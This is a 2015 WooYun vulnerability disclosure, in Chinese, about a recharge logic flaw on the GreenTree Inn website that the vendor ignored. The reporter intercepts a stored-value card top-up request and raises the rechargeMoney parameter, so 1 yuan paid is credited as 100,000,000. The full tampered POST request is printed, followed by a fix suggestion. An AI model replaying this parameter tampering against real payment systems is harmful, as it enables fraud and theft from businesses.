当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133320

漏洞标题:格林豪泰我是如何用1块钱让未来三代人开房不花钱的

相关厂商:格林豪泰酒店管理集团

漏洞作者: farmer

提交时间:2015-08-11 13:51

修复时间:2015-08-16 13:52

公开时间:2015-08-16 13:52

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-11: 细节已通知厂商并且等待厂商处理中
2015-08-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

读书的时候,妹子说:“酒店安静叫我开房一起看书”,我说:“没钱”;
毕业后我在电脑城装机,妹子从另外一个城市来找我,说:“电脑坏了让我修,在酒店一楼等我”,我说:“修电脑可以,开房没钱”。
今天我包下整个酒店对妹子说:“来酒店我们一起复习吧,顺便帮你把电脑杀下毒”,妹子说:”不用了,我给儿子报了补习班,也安装了杀毒软件“
这么多年,一直坚持自己的技术梦想,殊知除了能开房,什么都没有。

详细说明:

问题在充值的时候,提交到支付那边时,修改支付的价格,这个时候提交支付的金额没有变,但是订单的金额变了,当支付1元成功后,系统到帐的是修改后的金额,可以随意修改,充一个亿不是啥问题。

格林豪泰充值漏洞0.png


格林豪泰充值漏洞01.png


这个时候抓包修改参数rechargeMoney金额

POST /MyStoredValueCard/RechargePay HTTP/1.1
Host: www.998.com
Proxy-Connection: keep-alive
Content-Length: 161
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.998.com
User-Agent:
Content-Type: application/x-www-form-urlencoded
Referer: http://www.998.com/MyStoredValueCard/ChooseRechargeWay?cardNo=卡号&cardType=0&userName=%E9%99%88%E7%94%9F&phone=手机号&rechargeMoney=1&operateNo=订单号&payType=0&status=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie:
cardNo=卡号&cardType=0&errorMessage=&operateNo=订单号&payType=3&phone=手机号&rechargeMoney=100000000&strTradeNo=&userName=%E9%99%88%E7%94%9F

漏洞证明:

格林豪泰充值漏洞2.png

修复方案:

修改价格的时候把订单的金额改了,但是提交到支付宝的时候还是原来的导致,校验吧。

版权声明:转载请注明来源 farmer@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-16 13:52

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无